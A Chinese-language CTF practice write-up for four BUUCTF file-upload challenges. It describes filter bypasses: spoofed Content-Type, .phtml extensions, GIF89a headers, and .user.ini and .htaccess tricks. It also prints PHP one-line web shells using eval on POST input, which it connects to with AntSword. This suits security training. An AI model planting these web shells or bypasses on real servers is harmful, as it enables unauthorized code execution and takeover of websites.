buu刷题笔记之文件上传
[极客大挑战 2019]Upload
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,
”MS Compound Document v1 or Lotus Approach APRfile”
打开环境,看到是一个上传图片的界面,先上传一个没有任何绕过的php马。
提示说不是图片,需要抓包改文件格式。将Content-Type
里面的格式改为image/jpeg
提示后缀违规:尝试常见绕过后缀,发现phtml可以,改为phtml后提示一句话中带<?
都不行,故切换一句话木马:
<script language="php">@eval($_POST['passwd'])</script>
上传抓包:
1:绕过文件头检验GIF89a?
2:绕过<?
检验<script language="php">eval($_REQUEST[‘jazz’])</script>
3:绕过文件类型检验Content-Type: image/jpeg application/zip
然后用蚁剑连接
根目录下发现flag
[ACTF2020 新生赛]Upload
打开页面,上传裸马发现前端验证后缀:
选择绕过前端验证思路:F12删除js中的对应检测代码(如事件)
尝试用不同后缀上传,发现phtml可以
然后用蚁剑连接,在根目录下得到flag。
[SUCTF 2019]CheckIn
首先上传一个裸马测试拦截规则。
提示非法后缀,那改成phtml等也提示非法后缀,看来后缀这里类似白名单处理了
单从后缀角度,尝试jpg(图片马):
提示说明不但检测了后缀,还检测了文件内容,发现含有<?
检测
尝试构造一个,js写入php的图片马:
提示使用了exif_imagetype
函数,exif_imagetype()
读取一个图像的第一个字节并检查其签名(就是内容头检测)
老规矩:加上GIF89a
上传成功,并且返回了上传路径。但问题是后缀只能是jpg,改不了php,怎么用php解析?所以考虑文件包含,除了平时多说的.htaccess
绕过,还有一个可使用范围更广的.user.ini
.user.ini
你改过以后,可以让你用目录里存在的正常php文件,包含任何格式的文件,去用php解析。那么很好办了,先上传ini
文件,但你不要忽略也是需要文件内容头绕过:
然后抓紧时间上传shell.jpg ( 内容头绕过+js写马+图片马jpg后缀的shell.jpg)
得到链接:
http://8833e473-f17a-4b0c-8f72-d9bf18b38183.node4.buuoj.cn:81/uploads/1b1080d7356fc684d087821e176b4a50/index.php
蚁剑连,根目录flag
[MRCTF2020]你传你马呢?
打开靶场是上传,先上传裸马,被拦截.尝试MIME绕过:文件后缀改为jpg,Concent-type
字段改为:image/jpeg
但无法按照php解析?尝试使用配置文件绕过:.htaccess
文件绕过
编写一个txt内容为:SetHandler application/x-httpd-php
后保存,更名为.htaccess
上传至靶场,同时更改类型为image/jpeg
回显显示成功上传
之后用蚁剑连接上传好的jpg马子,就ok了